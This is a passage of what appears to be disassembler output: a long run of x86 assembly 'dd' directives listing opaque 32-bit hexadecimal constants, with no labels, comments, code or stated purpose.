		dd 19C34228h, 372831Dh,	9E5B2189h, 580E515Ch, 0BFF1C958h
		dd 3206CB03h, 8C00594h,	515B16h, 96C4F3C4h, 30C02E90h
		dd 43747C81h, 9781C0ABh, 20B30924h, 6768100Ch, 0C093092Ah
		dd 90CB721h, 0E53DE3A1h, 24CC87C1h, 0D73178F9h,	0D082201Dh
		dd 0F5E09CB5h, 4CB35440h, 5B2BC501h, 0CA9636C9h, 20BC9081h
		dd 0A861F2D7h, 59468C30h, 19EAB102h, 6131B733h,	0EAA98A10h
		dd 0B4BF3201h, 0CEDC6957h, 549287C0h, 18C0EBh, 4033AC51h
		dd 49D18178h, 794FF1Ch,	0DD5DF980h, 147228C5h, 0C4EFAE44h
		dd 0A7421DC2h, 0CB207620h, 0A66400E5h, 0D753B548h, 4E003E2Ch
		dd 0AFC3F1D6h, 986BC822h, 64363218h, 0AC98C540h, 28926302h
		dd 0A000CCFEh, 50573453h, 19B28B6h, 66376798h, 0D425B289h
		dd 39625FE6h, 27550F38h, 1CB0D3C5h, 20B75097h, 76F8ECFh
		dd 0DA5C8168h, 8850B66Ah, 344C48h, 0CB945D9Dh, 0C059C482h
		dd 0E2C13302h, 807E8B2Ch, 0F63749FCh, 0A5C0A1CDh, 0C0CA1BF0h
		dd 6E311118h, 80C033B8h, 6B14348Fh, 469C9035h, 0A81C1DABh
		dd 0C487CBC8h, 743C4064h, 22C75A8h, 7DADF9F4h, 0DC48F2FEh
		dd 536228ECh, 0A1368729h, 0F2BDA878h, 0DF40D08Bh, 8830C00Dh
		dd 5B217B8h, 43EF304Dh,	5624ECECh, 0E284950h, 86858F5h
		dd 0C57A3Fh, 81BCCC1Eh,	4C315F6Bh, 0A92388D1h, 53A82201h
		dd 671877CBh, 17A1288h,	30B509A8h, 8241949Eh, 62C6F8B0h
		dd 2BC4800Dh, 0C94C3896h, 80312618h, 4CC32E2h, 0F1DABFAAh
		dd 0C9F88C06h, 36D8A900h, 0EC7E7F9Dh, 67263A4Fh, 0B8630B83h
		dd 0AFE9A4E2h, 0B833CEh, 0B0E44317h, 570A3F5h, 9154D444h
		dd 7A9C0122h, 5320E632h, 0EDC324E0h, 815250C1h,	36CB6D10h
		dd 94409C5Ah, 40B325F0h, 0B701F451h, 0B4B9D565h, 0B184A5E4h
		dd 90ADD7A8h, 0FC9E312Ch, 0C7C2856h, 31A24324h,	19F01DCh
		dd 531ECC6Dh, 504EC193h, 0EB1563A0h, 0FE421900h, 7B3857CDh
		dd 1A1B09Eh, 0CF88C0C1h, 82B2B52Eh, 671C7098h, 0EAF0E5Ah
		dd 0FECAD800h, 20C1C39Eh, 0FDA3F6BAh, 26D722C0h, 441C68CEh
		dd 0EAC0605Ch, 0BF332318h, 89005C11h, 4AA0EAB8h, 3023336h
		dd 0CCEEDA0Eh, 26204C70h, 102415h, 8CF40783h, 672E9AD3h
		dd 39026CF2h
		dd 0C1324D3Dh, 51182308h, 65E2C8A0h, 0FE1108B3h, 915A1A00h
		dd 0F58E9AAh, 277123Eh,	0EFB7607h, 0D098A050h, 3F9A301Fh
		dd 6E0220BFh, 0B375B1E4h, 10E644C1h, 224D89B2h,	0DA036535h
		dd 0D7041BFAh, 3005E064h, 4BC9389h, 821206DAh, 0B8B8835Eh
		dd 1EB2F34h, 0B820F37Dh, 411D327h, 1495BAA8h, 7B5822DCh
		dd 15A4A874h, 647A3F26h, 1E969300h, 4C1450E9h, 2DE258F4h
		dd 95FC8598h, 53E7AA01h, 0ABB22E96h, 8D245080h,	0DDBEA9D3h
		dd 298EB3Fh, 5B11D0D9h,	0BDE4B05Dh, 331D17EAh, 6E8C38D7h
		dd 0FBEAB500h, 473D107Fh, 208604B0h, 81F4AEC7h,	10EE8BB4h
		dd 0FA9C230Bh, 0F9430706h, 0E267AEAh, 8CF6C144h, 9C1D0E68h
		dd 91C475FBh, 50D98E15h, 4BA2B085h, 7C941455h, 0A18CFFC0h
		dd 40161AA8h, 406D1E1h,	580EA3Eh, 8529BB1Bh, 4BAC046Fh
		dd 2F309B3h, 12D50D4h, 89AFFCA8h, 90E5B5D1h, 20DF2218h
		dd 0EE48F672h, 4E80CFE4h, 0E729CE04h, 59F077D1h, 941880Ch
		dd 76EC98E5h, 2F62410h,	42D4524h, 39C6208h, 0ABFB34E2h
		dd 13048856h, 0A8212BECh, 93E52F51h, 302C8004h,	9B63DE07h
		dd 4C0B2C41h, 0B5230CC9h, 57A82601h, 661817CBh,	1E1688h
		dd 44CDBBA8h, 27CE392h,	4D01AD18h, 0D6E121h, 963BE805h
		dd 130D527Dh, 887A3405h, 0EC04B870h, 2209F88Eh,	0E832D439h
		dd 0BD09EBF6h, 37D5C251h, 73648024h, 0AEB00865h, 48F1A33Eh
		dd 23F4D4A0h, 4BC2426h,	987DE225h, 0E88BFFF4h, 395E915Dh
		dd 76003E29h, 43ED2A0Eh, 0B77C1602h, 6032C0A5h,	91503022h
		dd 5DE22111h, 1937E29Fh, 0FEC08059h, 48A8718Ah,	3500FC94h
		dd 9C0DA3F7h, 3490FCC1h, 2CF420h, 1844BD8Dh, 0E99ACF24h
		dd 6C402C91h, 96E4B521h, 0F458895Ch, 0B8279F81h, 0F2B03211h
		dd 0EFBA30B7h, 1F20E898h, 0C489354h, 7B699E42h,	0DF640E01h
		dd 14BB9913h, 0D902C0h,	7772845Ah, 0F19F8D3Fh, 2C34CC4Ah
		dd 0E39FF88Eh, 4FDD4700h, 0D707FEh, 0B48E37ECh,	0F37CDB94h
		dd 60B9BB70h, 0A7FC8400h, 2464Eh, 271C8B1Bh, 90BA8C65h
		dd 0C904F80Eh, 0D720C2FAh, 48185046h, 2E25BB2Bh, 4087E839h
		dd 0EE1FD9D0h, 12F48A00h, 4ACE7BC2h, 46280B32h,	0A8301B65h
		dd 0D47F7631h, 2B4024B9h, 0B2631C6Eh, 92A312C0h, 9B0440EAh
		dd 1A33A621h, 2D475C00h, 0BE270C6Eh, 0AFF00C35h, 16A8ACB9h
		dd 93BC6540h, 3310019Ch, 745908E6h, 49E4F0F8h, 51263203h
		dd 7642B076h, 5DCAC18h,	0C5101F91h, 0E502003h, 0C802E592h
		dd 7C842BC4h, 81245979h, 20C00919h, 8AA01818h, 24093C83h
		dd 301D8A99h, 56580F50h, 0C87E8440h, 4B7BCB3h, 325430F7h
		dd 0C53C0453h, 9C5BBC1Bh, 0FF184978h, 0C360BDE2h, 3E0A004Eh
		dd 9D38F9Bh, 7CA4BF52h,	55989C00h, 6F29D54Dh, 2C6E0C64h
		dd 0D3A88126h, 7B289138h, 1398B84Ch, 94047DC1h,	0F600AF2Bh
		dd 0BF2A3830h, 9E67F313h, 4ECB40Fh, 0D4D0C3DDh,	9891E701h
		dd 0AD891808h, 0E28F7067h, 59D00D17h, 9372DC04h, 6BA8C101h
		dd 86C24B4h, 8A0DD300h,	280AA9A3h, 109000E5h, 0E8BCFB66h
		dd 0FE29DEC8h, 0D824A0C9h, 1B80AA11h, 6FCB50A8h, 135F448Ch
		dd 0ACA87B00h, 0E70DFBAFh, 0E9C901A3h, 2E43AB7Dh, 0C550800Eh
		dd 5C64F430h, 0A2D4941Dh, 12DC0050h, 328B26AFh,	0F50117BDh
		dd 1A75203Ah, 0F0417DE1h, 5B8A2h, 5C118DC8h, 7E4FDF21h
		dd 96C56002h, 224448E0h, 20625E7h, 0C476B087h, 0BC240246h
		dd 13346079h, 3C1D8155h, 8FA3F840h, 502FA3E4h, 233A2A04h
		dd 0C27F7E8Ah, 0D0186A30h, 94A1D9B5h, 42C944BCh, 66F04332h
		dd 0E96D7828h, 0B17E2980h, 6738082Bh, 0B8B9E500h, 0D08C6BA5h
		dd 2D5A0098h, 0BCC1C964h, 0B048E23h, 388BFE9Ah,	5F37B081h
		dd 2F97C832h, 0FF2364h,	4BEF0AB6h, 0C061CE5h, 0A843C281h
		dd 0E11700A1h, 27159E48h, 78003ACDh, 9CACFCBBh,	4A2ED9EDh
		dd 24446051h, 284586Bh,	2290879Ch, 9C85675Bh, 5E14CC53h
		dd 6B009B7Fh, 985D3657h, 3F8BB27h, 462DEB42h, 63D2D725h
		dd 3C4BB441h, 53F082B4h, 16B4E438h, 8B1BF19Ch, 0C05CC8C4h
		dd 828149D1h, 0EC239F00h, 700D833Fh, 36F202EFh,	0B74BFA96h
		dd 58844C42h, 0DB1E0761h, 2BC52C00h, 0D0B901h, 0A640F56Ch
		dd 0DA027B61h, 0A985D3EAh, 0DC0860C8h, 2ECE08E8h, 7002A258h
		dd 83C78334h, 0D03BD190h, 55474DADh, 5063D80Ah,	0F9C0F8A7h
		dd 24FFA89Ch, 0A341F34h, 1A9C622Ch, 4860F1C3h, 0F1835060h
		dd 98ED3EBFh, 6A2D6034h, 48CC941h, 1467A0E4h, 184D2260h
		dd 20302944h, 624499A2h, 0C95D44D0h, 0F0049E24h, 0FA0E80B1h
		dd 3C9061A5h, 8D80620Ch, 8A005C8h, 0EB8AF36h, 67EC8684h
		dd 2E9EA50h, 90E8C3B5h,	0D197422Eh, 0C5008871h,	0FC6D8A28h
		dd 0A64CBF76h, 5D2DC6C4h, 0B3743071h, 85AF7731h, 0ACF0CB00h
		dd 990EB8D0h, 64DD00E3h, 0B513A207h, 0D891AA6Dh, 0B2F3BD05h
		dd 507F20A3h, 96DA84BBh, 0E5B50604h, 8D0031ADh,	8894DCBAh
		dd 2DC02DF4h, 0C418710Dh, 0C159C5A8h, 36C98330h, 0C8A4DC5Ah
		dd 670B337Fh, 7488DB81h, 70267E36h, 96429456h, 8C01090Ch
		dd 2D593724h, 36C506F0h, 2060CD41h, 0CB1DADFBh,	5A06A06h
		dd 0CABA8FABh, 34B8C2A2h, 749494AAh, 0B507B846h, 0FDE8E632h
		dd 0C2CFC898h, 7400E094h, 996FF92h, 2824B80Ch, 46346029h
		dd 0EABE025Eh, 31CF331Eh, 0B687105Eh, 0E2A01EAh, 6C96701h
		dd 31E865EEh, 542948h, 0A5A7487Bh, 4CBEDEC9h, 0F48678CDh
		dd 121B4943h, 0C2088168h, 77D4A48Fh, 0F2B950C1h, 2EAB6C20h
		dd 6EF8E6F6h, 0B7507BC2h, 48C36D38h, 0A427F72Eh, 382F2C19h
		dd 0E0059624h, 0FCC25B11h, 2B0A919h, 726B8A0Ch,	55C20EACh
		dd 0A3801665h, 9037F6A2h, 22E8B500h, 34DF4AD3h,	0C48900BAh
		dd 5C38ABD4h, 0EB06700Eh, 0BF2B86F2h, 48EC75C0h, 0B6886C0Dh
		dd 0CED65C80h, 7AEBCCh,	5763E679h, 0B5729112h, 0B0CF203Dh
		dd 0B21BB00Eh, 9750A9F6h, 6889A845h, 5C45944Ch,	0D81F2787h
		dd 61837C24h, 0E07D68E7h, 309531C0h, 4C5C7624h,	0A46B5286h
		dd 94A08039h, 8418D157h, 74488B8Bh, 90003349h, 43B6EE20h
		dd 7C2592CFh, 0C07630B9h, 75823139h, 449D1C2Eh,	0DCA4420Ah
		dd 50F6F180h, 0A946BD2h, 74BCA1A8h, 0D72204B8h,	60D412h
		dd 0F2D38DF4h, 40D24C3Fh, 10DCC08Bh, 0E1B6C4F7h, 5F71B3C0h
		dd 23893970h, 4D57148Ah, 0EBFC0294h, 94E88896h,	4C027528h
		dd 46C7C211h, 80448AFAh, 88803D14h, 0FDDF80ECh,	0EE047417h
		dd 75E32800h, 2B5A6126h, 73D62CBEh, 0BA630808h,	29DE7D0Eh
		dd 8BD0C8ABh, 0BBD18056h, 0D7A75C04h, 74945A6Ah, 5EE28CB2h
		dd 2031830h, 0F9D38F81h, 8C407D2Fh, 60613759h, 4E571C70h
		dd 12B01205h, 0CA542378h, 129D1027h, 8C548F70h,	31778819h
		dd 0C9187282h, 4408A4EBh, 18F71A0Ah, 0DBB50C04h, 82C288F4h
		dd 2022E026h, 0E8914179h, 6166824h, 0A9889E1Bh,	0E200C276h
		dd 0BB651B3Ch, 30F20CA0h, 0B3060F2h, 0FCA800E8h, 5C2DF332h
		dd 6E7A3123h, 0AA092CBAh, 481716DFh, 8252744Ch,	0FBA23882h
		dd 0B86E2B00h, 59A4B267h, 26223C84h, 444AF600h,	96372333h
		dd 2C7E4C77h, 0A2022Fh,	1E40054Eh, 0A14CC9A4h, 820C70CCh
		dd 0F643569Dh, 0AC5A015Eh, 9CB4A3F6h, 97078E3h,	41A6C7A8h
		dd 0E0201B98h, 23AD41EFh, 3B820034h, 6D99A90Ch,	345EC004h
		dd 0C1CB6343h, 64D5012Ch
		dd 0ECC5A607h, 2AA53711h, 0AA023020h, 790CF1B4h, 7BCC1965h
		dd 5F9135DEh, 3ADB81F8h, 502D25h, 6904F92h, 3DAC673Fh
		dd 151C0261h, 0D6B4663h, 0A260084Bh, 259CF21h, 6D1C008Dh
		dd 9462F2A5h, 9003D1C4h, 0C76451Bh, 8C28000Ah, 0DD3EFE15h
		dd 2808F48Fh, 0E4518A0h, 966DD491h, 8811F410h, 92797100h
		dd 0AF410987h, 0CD56005Bh, 0F08FD217h, 6E61A811h, 503F7020h
		dd 908900D3h, 63D313BBh, 70DF44F0h, 968E2D00h, 0F0D1A35Ah
		dd 18D4188Fh, 955068BEh, 3A39DEh, 0C3424383h, 0FF73960h
		dd 4B55BF07h, 0C9D9F486h, 0B469E700h, 2829FD3Eh, 8D6D0551h
		dd 0C79844C3h, 0A6C6938Eh, 1676500Ch, 61EFF119h, 10F8894Ch
		dd 0B751D00Fh, 34017100h, 965613Ah, 0FF1706C8h,	918DEC4Eh
		dd 0CA688400h, 0FC91E027h, 0B08E63C4h, 0B0B10FC6h, 3F708075h
		dd 0FC8995DCh, 20B967D0h, 0C0200567h, 0F7C7171Bh, 50943934h
		dd 73FC9804h, 51DC9301h, 66D0803Ch, 0EA976260h,	6C703049h
		dd 7EB30620h, 2059DC29h, 0C1D840E7h, 970D0E76h,	0A9118FF1h
		dd 7DE800E4h, 0D6ECED38h, 0E0FF5091h, 980679DEh, 1A082A2h
		dd 45909B78h, 24CA9450h, 202760C6h, 4C26BEF4h, 18C45B50h
		dd 8410B148h, 5037A5Dh,	80C1F10Fh, 0C4A18E51h, 0B7007035h
		dd 70CA8C19h, 8F300CA1h, 8BE771CFh, 79B8289Ch, 274A0CA4h
		dd 9981102h, 0F40F2246h, 4C0A1ADAh, 4354F040h, 85822284h
		dd 58BC8B0Dh, 1C436895h, 976100EDh, 1772B3C6h, 0EC0FCCDFh
		dd 80540F5Ah, 0F51205DCh, 47D50011h, 0C26C927Ch, 7B1F959Fh
		dd 0A88C2E49h, 0A807686Fh, 20D405B8h, 8BEEBC64h, 0FF0F19C0h
		dd 0C96DA44h, 0B710C4CDh, 0B0A06820h, 6B04E83Fh, 91928D07h
		dd 6383083h, 0E449E7D9h, 60A7843h, 84ACEB4Eh, 0F615EC80h
		dd 32A4165Ah, 0A0D0969Ch, 488E1C40h, 139F18A9h,	0CDB0E845h
		dd 0CA6C03C2h, 57D77662h, 2987B001h, 8AC8BE75h,	0C66840A0h
		dd 0C17EEC40h, 944DF678h, 2638040h, 8C7315C5h, 3ED1A844h
		dd 9480025Bh, 0ADB09CFBh, 35761ADBh, 0A83DBD28h, 5DD9AE61h
		dd 23D2EF4Eh, 8DDB9C17h, 0B799D001h, 7A44BC15h,	68A9108Ch
		dd 988C9688h, 15C71407h, 0A7884483h, 25DD380h, 2C60C8E1h
		dd 39C2C42h, 0A021F31Bh, 0CB58C9CCh, 405634C1h,	0E019F008h
		dd 0E80284AAh, 760196ACh, 8C000814h, 1C1268FBh,	200F3652h
		dd 6C102415h, 0F34E6C80h, 7481C6B0h, 72003112h,	26D499DAh
		dd 66BCCB5h, 74A498B2h,	771D2114h, 9C093C4h, 481F08D9h
		dd 0FB1000BCh, 0F6C19955h, 72492705h, 8E943A18h, 60AA4C8Bh
		dd 0A516C074h, 0F0FC130Fh, 0D44C5FA2h, 480648BCh, 0A8163DF4h
		dd 9D08B4A0h, 0C8909F80h, 671245F8h, 0FF6E7C01h, 0B44E6D53h
		dd 9EC0A388h, 9944C44Eh, 0A0C980E4h, 4F7D1871h,	0DD138D16h
		dd 8C393800h, 0C088C89Ch, 49689088h, 5F814FECh,	2AF8B2F3h
		dd 78D40800h, 217BA032h, 608FD816h, 272A5D20h, 87008C6Bh
		dd 0F09EC9EBh, 1D432B08h, 182AD0E8h, 0E3AE2184h, 0BC10C900h
		dd 0D69BCED1h, 483C0081h, 3E404237h, 61C0F91Dh,	673891F2h
		dd 5B683722h, 0AA3AC898h, 0A418F811h, 489870E0h, 29FE331Ch
		dd 0DA281918h, 0CA08BC60h, 162305F4h, 90B004DCh, 426601B9h
		dd 80203873h, 68CC7D91h, 0A83819A5h, 74BC2C44h,	9C2640D4h
		dd 8F03EA2Ah, 87908BABh, 1D083083h, 2A944B21h, 7C0AC51Ch
		dd 1910754Ch, 0BEB00E6h, 2242D744h, 0C8CEA964h,	82E81A0Ch
		dd 938370B8h, 0BD41F4B0h, 896ABCC3h, 84908F18h,	50247A8h
		dd 0F220D3F4h, 0C2535019h, 0A8C8D419h, 770F9449h, 0AA163A30h
		dd 49F08CB7h, 757F9F13h, 8436DC0Ah, 0A2E4D441h,	0D90DB700h
		dd 7F54550Ah, 60CACC6Ch, 0A9B1A018h, 0EEDC1667h, 5F544242h
		dd 20404FBFh, 0A33B0ABh, 15609C0h, 4FB77F21h, 0DC074ECBh
		dd 0E360C490h, 8C1A63C9h, 4EA1C289h, 48648EF5h,	0F28F0506h
		dd 1FE94049h, 945213C0h, 15834C55h, 8AA550C4h, 949B0C2Ch
		dd 1DA58143h, 2359E26h,	0A75876E8h, 3F6CE4C0h, 8AF8A083h
		dd 4458B0D4h, 0A0614F65h, 0E39BD789h, 714EE1F0h, 2EB041h
		dd 0F709E5FCh, 8F32E603h, 19728B04h, 0A4967090h, 642110B8h
		dd 0E8EF2C74h, 0AD462B40h, 86D42632h, 0F9AB1814h, 8C5761CAh
		dd 1E223B0h, 0C8654FC5h, 885C18DBh, 4F00BD85h, 0EBA575Dh
		dd 0FC636118h, 60E63B45h, 76E49C8Dh, 0FC404258h, 2AF9CAEh
		dd 3249CA1Dh, 7ED0198h,	62BFE0F4h, 101424ECh, 0A1A8FC41h
		dd 98508714h, 0C20260C0h, 485B5815h, 258CEE0h, 9E8F0E00h
		dd 0F4D171D0h, 8C332960h, 2DCA380h, 69CE15DEh, 0E4183F00h
		dd 24B8DC60h, 94F4629Ch, 0E86BA702h, 2E496A50h,	4F3C7414h
		dd 721F8688h, 1864600Ch, 89F0CD56h, 47182069h, 0F9726240h
		dd 41510E1h, 0C8B75488h, 6E40600Ch, 40C0006Ch, 27C4B062h
		dd 4B558B9Ch, 923C30C0h, 7F93BF88h, 85A0DDF0h, 0C50B6A24h
		dd 0C4C80668h, 40A0D97Eh, 31806128h, 9C4030CCh,	1B4E5070h
		dd 0B408C8B1h, 24C20187h, 4251372Eh, 162B7A24h,	8DB4443Ch
		dd 4C749B3Ah, 0A02D8A30h, 8B04A0B7h, 84F22804h,	3D1CA374h
		dd 0C9D4830h, 0E14DEFA1h, 0D43248C9h, 0C098CB22h, 560A1620h
		dd 763EB8DCh, 8787C85Ch, 403D1711h, 0EEECB782h,	0B8514A60h
		dd 1804AEh, 497669F7h, 38291FDAh, 0BD24D414h, 75C01284h
		dd 0F9D9A490h, 0BE3300E2h, 0C40FC93Ch, 0C0C197E0h, 5610763Fh
		dd 11DC29A4h, 2A9882B8h, 4CD042E6h, 471A44DCh, 0B5092AF4h
		dd 4F10991h, 0A4275F20h, 0A14F0587h, 0EE868C40h, 2E4C1DA4h
		dd 38888F95h, 0BBCFEA80h, 350B4E8Eh, 2FA4A003h,	451EFECh
		dd 0A24C8E9h, 5238883Ch, 9AF0CA89h, 5C178A38h, 1921C11h
		dd 1776644Bh, 15198413h, 6CA46DC5h, 66CA0C53h, 0C9D0F3A7h
		dd 2449F088h, 0AC884A4Ch, 0CC50850h, 7708842h, 2D0DC3C8h
		dd 0CB0F1801h, 0C7185C4Fh, 521AB896h, 88C08FC4h, 3A42FE3Ah
		dd 382CE0F6h, 0BA44E472h, 0E82A9A60h, 119B8F23h, 92490521h
		dd 0BF80522Ah, 3036E7D0h, 70C0B0B8h, 749CDA24h,	10C40D09h
		dd 24D9AE84h, 12BC67F1h, 88D88F5Bh, 76E3C0A5h, 6901CD88h
		dd 468FBFCh, 1C223B7Eh,	58614310h, 48110965h, 56F8043Ah
		dd 1EEEC81h, 4E0DC02h, 0EA8095B0h, 18137950h, 4808E5EDh
		dd 8E0B6ED0h, 29D2F7Fh,	8234A6A0h, 0C8A29530h, 561838A0h
		dd 0F4A2CDFh, 3CF593C4h, 1459038h, 8BD08FCh, 0B620CC0Fh
		dd 0D647741h, 0DC499F10h, 26B74831h, 2BC20B3Ch,	4CC829Dh
		dd 17CD009Fh, 0F204A5D8h, 83C1165Ch, 0CC307095h, 3B0BFB10h
		dd 0E0004477h, 9E20407Fh, 320080C8h, 0A19B3D4Dh, 261784A3h
		dd 11E899D1h, 0C2151604h, 5FF23420h, 133E4E2Ch,	0E3C0080Ch
		dd 664FC6C0h, 5B18F7C8h, 0BE8688h, 4BBFF04Fh, 0FDDFCD1Fh
		dd 0C03FDC00h, 850F4A51h, 8F9B1ADBh, 0A0633155h, 5B49C4h
		dd 93DEB9B8h, 0EA6202C1h, 0B1772EC5h, 31F4D262h, 0EC084417h
		dd 6ACC4333h, 5EE7B90Eh, 35EDA2B5h, 0A247B31h, 11DC11BDh
		dd 3604CC7h, 28D1FB49h,	0F04105B6h, 11507029h, 9BC3E488h
		dd 0B1016E8Ah, 945148BFh, 0F43452C4h, 699C6050h, 1835EE11h
		dd 0ED994907h, 8430A6C0h, 0F26BFA0h, 87F2BEEAh,	5FEC79E1h
		dd 45C6228h, 4064498Ah,	0D634B8C8h, 10F80A59h, 188F9FD0h
		dd 8CD11967h, 38305B4Bh, 109CC9E9h, 0C82AF8F0h,	0E1AC807Dh
		dd 0D155AC9h, 0C4F4100Ch
		dd 14F0D89Ah, 7853B821h, 105B8BA1h, 3241F09Fh, 228443Ch
		dd 9D64F071h, 0EC9B9541h, 4AA86482h, 19F019C1h,	40856954h
		dd 546B5EEFh, 5860BC2Ch, 9D4CFC29h, 89C880C9h, 16188234h
		dd 0C0F20032h, 0B4999837h, 0C81F3BF9h, 9020763Bh, 0FC0F126Fh
		dd 0E820C040h, 0F0B05F56h, 0FF3C0A7Dh, 0D30E0721h, 0BFBF4DCh
		dd 100C01D8h, 54C5BE7Ah, 0C86EC40h, 29C9884h, 0B40E38C0h
		dd 0C6081B9h, 0F580722Ch, 0C7120902h, 70CBEC4Eh, 0F25DD0D8h
		dd 63242112h, 85EB1821h, 0D4117000h, 5D05349Eh,	70C8EE4Eh
		dd 0A487499Bh, 80996378h, 9E4A9FFh, 5EDCB08Fh, 15C01102h
		dd 80A0884Bh, 0A70256CCh, 0C804DA17h, 510FE21Ch, 4A8C50A0h
		dd 0FE45E8Eh, 855C0C4h,	75080532h, 9800DCC4h, 2F72E106h
		dd 8A5F968h, 0C87395E3h, 577FF1C0h, 8DD20438h, 0E0CCDC8Fh
		dd 1911F25Ch, 402848E4h, 639428DCh, 54F22D08h, 0DB4EBC90h
		dd 8BF6A00h, 0BA5E14AFh, 16C100C9h, 0B265E8A6h,	0B000C6E2h
		dd 8E66A760h, 0A0C73F15h, 16E830BFh, 9CA0A173h,	0C874EB54h
		dd 518A608Fh, 0B70EFE7Fh, 0B4EA3474h, 6F3C1298h, 2C6D5C92h
		dd 78404C18h, 8EC89E28h, 0F6A91A5Ch, 581E20C8h,	26F95709h
		dd 0E06B8952h, 8282A464h, 0A1117C61h, 0A3715851h, 0D51EC618h
		dd 22091EB2h, 0EFACA577h, 0B5B0E4h, 0A8A5589Ch,	9DDD0CBDh
		dd 5C11C124h, 4A7544BFh, 0BD58228Eh, 112A9D30h,	88B38FEBh
		dd 954C8022h, 64F2212Ah, 0E19D002h, 41A5AAE6h, 7610EF7Ch
		dd 0E8C8D54Bh, 60906415h, 7FC1025Fh, 0C048B915h, 3E0257CDh
		dd 0F4D0F000h, 0CA6CABA1h, 0A3960937h, 0B4C87938h, 748006F1h
		dd 0F6A1C00Fh, 0E4E99029h, 0DBDA6616h, 0A6ACE404h, 4484C00Ah
		dd 899B4294h, 0F5000F41h, 0CA16F6EAh, 0B51FC2Dh, 44F494ECh
		dd 0CC5CBB1Ch, 38E81084h, 5112910Bh, 0C3B7D068h, 2099B424h
		dd 754A4344h, 242C0054h, 8D68B6D8h, 92092AF8h, 0C2B0E4CCh
		dd 79C07970h, 0F18A1h, 0DEFE6D1Ah, 0F0D491C1h, 3848985Ah
		dd 46F8A08Bh, 2A9702B7h, 51838FE5h, 0D04667F4h,	0EDA8FF2Ah
		dd 83FF5CB8h, 3D4BF49h,	44E4C420h, 0A0078A45h, 8C68ABC9h
		dd 0C08260C7h, 5A715AA0h, 23DC2F3Fh, 28D50080h,	13DD5FB7h
		dd 95B04606h, 0E7D0CD1Eh, 0C8B529E0h, 0B9648FE8h, 0E72A9960h
		dd 11938F23h, 91480020h, 0DAA6112Ah, 4EF2198Eh,	107BF053h
		dd 2C1310C0h, 8903286h,	282911CAh, 45009111h, 98309C89h
		dd 8891F405h, 3059F032h, 9A08C9E7h, 642AE8F0h, 0DFAA407Ch
		dd 91436C9h, 8138BC16h,	75227814h, 3890018h, 0AD22334Bh
		dd 0D6004CD0h, 85B869F1h, 18F5630Eh, 59752765h,	0B0EAC98Eh
		dd 0BDDF8200h, 0AE434478h, 97860687h, 688A60C3h, 4C12ECE4h
		dd 0E4D5C416h, 64581881h, 0F051682Dh, 0D0E73B30h, 700C021h
		dd 0BF8FD1E3h, 6B0131B4h, 53E8A522h, 8040ADF6h,	33EC6866h
		dd 0EDC00971h, 5DE74802h, 67A721h, 0C81972FFh, 3456685Bh
		dd 182EBC65h, 1A007E23h, 0CA93DBA7h, 18C130F4h,	0EE404678h
		dd 5D81003h, 0E58EE4D4h, 8123D03Bh, 24620E00h, 18BC5129h
		dd 0C94FEF09h, 9301FC63h, 0F80BAF85h, 20D4240Dh, 0EC4200A1h
		dd 0C7342A22h, 3E1FFF0Fh, 0DC261177h, 601DC081h, 0EDF082ADh
		dd 540A17FAh, 4514086Dh, 7E247082h, 4C4C6409h, 0C1300ADh
		dd 584C0441h, 81FE0943h, 9A2AC738h, 4A0874E1h, 3587C000h
		dd 615097F2h, 383E0266h, 934C9B90h, 1A325464h, 20193925h
		dd 0C6F0137Ah, 6BC4F0E9h, 0B70E0FFEh, 0FE544920h, 0F0B8D341h
		dd 0E4743829h, 1858C165h, 176C89Ch, 0C7E021F1h,	0E2CE0BF8h
		dd 0E002BEADh, 0B4234D78h, 0A8D02D70h, 0DB3FA800h, 0F2FC56A5h
		dd 17BF4C09h, 0EC64E06Fh, 0A43B4481h, 3E81297Dh, 0D5EE8E8h
		dd 33F624C2h, 56B88220h, 9CBEDFB7h, 14182320h, 2C8F10Bh
		dd 0F192CCF0h, 1857D930h, 79C30084h, 24CA9D03h,	84990876h
		dd 58DF9F20h, 66DE2704h, 38954C81h, 90627806h, 51C6A021h
		dd 47EF0C54h, 0B473A161h, 0CF1AE571h, 79A048CCh, 0B3EE0050h
		dd 0FE4ABD98h, 0BC04D15Eh, 208C9C65h, 41F41A68h, 6CE6700Bh
		dd 65264A7Ch, 27416816h, 0D6008C77h, 7D76FDFFh,	64306200h
		dd 94B32C66h, 0E90D175Eh, 20F41399h, 693E6E2Ch,	28069B0Ch
		dd 38A04178h, 0DE0030A5h, 7CFCD960h, 7B1F43A1h,	0E997D225h
		dd 88A6E42Ch, 382E9C17h, 0F250C09Bh, 0A4AAD291h, 9B16B56Ch
		dd 0B4288360h, 50931ABDh, 505C189Ah, 24550808h,	82D02E2Ch
		dd 0D4061F1Dh, 901704FAh, 0C0C53C49h, 9712689Ch, 68CCA810h
		dd 0F82EB340h, 0C1706B94h, 18BEA819h, 0EC2A0B9Eh, 3C1CBB8Fh
		dd 2A964D00h, 78C7B807h, 0FB0B01F4h, 1DE10DCDh,	328C21B1h
		dd 104059A0h, 933E4159h, 0A088CD98h, 23E357F2h,	335AA258h
		dd 7BE5DEF8h, 97E19B00h, 50407112h, 23D1C093h, 2F8D484Ah
		dd 0A4E8BA5Ch, 0A7B254A2h, 158E30h, 0B74C744h, 16C8082Dh
		dd 246ACD1Fh, 0ED93186Eh, 0BCE7CC0Ah, 0F819F082h, 0B0DC895Eh
		dd 73216AA8h, 0D419C2ECh, 0E4648CCCh, 0EA075C46h, 0BF09DC9h
		dd 0AD072C9Ch, 31AFC9E2h, 4F09CC10h, 3A9112F3h,	0EC2C04C8h
		dd 3ECA0267h, 97046EEh,	1819F29Fh, 48EA4CC3h, 0DA05A8A0h
		dd 2D000878h, 0D00413CDh, 965FEAB9h, 0CD15958h,	64058C95h
		dd 7B15C602h, 0D200F4CEh, 0CF7D025Ch, 4035F48Fh, 44CCF8BBh
		dd 6DCE3615h, 0FC2FA8E1h, 311CA049h, 542842E6h,	0BCB0107Eh
		dd 861E4238h, 2C4640Bh,	61E3D84Fh, 0ECE3572Bh, 0BC20C8ACh
		dd 4F4CC349h, 5623542Fh, 32BC1C0Eh, 94044712h, 0E60B104Eh
		dd 93CF8C4h, 56BB001Bh,	0D4AFDEDDh, 87280951h, 608FD1E5h
		dd 0EA4E81B8h, 9BB19864h, 0C81244A2h, 74E492F4h, 0E4037472h
		dd 0A11EB7A8h, 8ACCF950h, 0BEFD80F4h, 5F1411F0h, 0C500306Eh
		dd 60E6E43Ch, 1E2044C4h, 9EE0A432h, 303DCE8h, 58265E6h
		dd 89CA887Ah, 56F226A5h, 4DF115Ch, 40C38DBAh, 949930E0h
		dd 0D4316084h, 2295A0BCh, 0B3F6C24h, 2869093h, 0C35A201Ch
